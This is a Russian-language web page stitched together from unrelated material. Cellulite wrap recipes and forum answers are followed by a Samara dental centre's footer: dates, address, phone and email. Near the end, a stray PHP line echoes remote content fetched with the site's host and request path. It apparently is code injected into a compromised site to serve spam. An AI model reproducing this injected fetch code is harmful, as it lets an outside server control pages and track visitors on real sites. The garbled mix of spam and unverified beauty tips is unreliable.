Для ленивых подойдут масляные обертывания. За основу нужно взять любое базовое масло или же смесь меда и соды и добавить в них антицеллюлитные эфирные масла – лимон, ветивер, грейпфрут, петитгрейн, розмарин, корица, мускат, апельсин, мандарин. Обратите внимание на то, что эфирные масла не растворяются в воде, поэтому сначсала смешивайте их с содой или маслом.
На 30мл. базисного масла:
1. 2к. кипариса + 2к. фенхеля + 2к. ягод можжевельника
2. 3к. фенхеля + 4к. грейпфрута + 3к. лимона.
3. 3к. герани + 3к. кипариса + 4к. можжевельника.
4. 3к. кипариса + 3к. герани + 4к. можжевельника
5. 2к. розмарина + 3к. кипариса + 4к. апельсина.
На 50 мл. базисного масла:
1. 2к. ветивера + 2к. пачули + 5 к. кедра + 8к. апельсина.

Как можно убрать целюлит после родов на попе и бедрах?

Делать обёртывания с маслом грейпфрута

Рецепт горячего обертывания с корицей для похудения может включать различные компоненты мед, оливковое масло, горчицу с перцем.Несмотря на массу полезных свойств, обертывание с корицей имеет противопоказания.

Массаж, спорт, правильное питание

Спорт, массаж и правильное питание.

У меня сам ушёл, сама в шоке, кожа на попе и ногах в 1000 раз лучше чем до беременности!

Шортики, шортики. Попробуйте. НЕдорого, а эффект хороший. на себе и всей семье проверено. ну и само собой правильное питание и образ жизни.

Никак. можно его немного прикрыть вечными физ нагрузками и правильным питанием

Кремы для похудения.Характеристики товара. Тип изделия Кремы для Похудания. Производитель lajiao.

Я делала массаж баночный, очень быстро помогает, но у него много противопоказаний.
так же обертывания гуам делала и против целлюлита и для живота и талии.

Бегай по утрам
толстые ляхи потряси свои

Крем для похудения масло перца противопоказания
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта